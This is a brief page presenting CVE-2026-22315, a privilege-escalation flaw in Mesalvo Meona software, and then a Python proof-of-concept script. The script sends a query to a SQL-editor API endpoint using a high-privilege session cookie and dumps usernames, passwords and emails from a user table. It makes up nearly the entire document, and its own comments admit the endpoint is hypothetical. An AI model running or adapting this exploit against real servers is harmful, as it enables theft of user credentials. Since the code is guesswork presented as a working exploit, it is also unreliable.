CVE-2026-22315 Mesalvo Meona权限提升漏洞

# PoC for CVE-2026-22315: Incorrect Privilege Assignment # This script simulates exploiting the SQL editor to export user data. import requests def exploit_meona(target_url, session_cookie): """ Exploits the incorrect privilege assignment to export user data via SQL editor. Note: Requires High Privileges (PR:H) as per vulnerability details. """ headers = { "Cookie": f"session_id={session_cookie}", "Content-Type": "application/json" } # Endpoint for the SQL Editor (hypothetical based on description) sql_endpoint = f"{target_url}/api/sql-editor/execute" # Payload to dump user table with cleartext passwords payload = { "query": "SELECT username, password, email FROM users_table;", "output_format": "csv" } try: print(f"[*] Attempting to connect to {target_url}...") response = requests.post(sql_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Sensitive data exported:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and valid high-privilege session target = "https://vulnerable-meona-server.com" session = "high_priv_user_session_token_here" exploit_meona(target, session)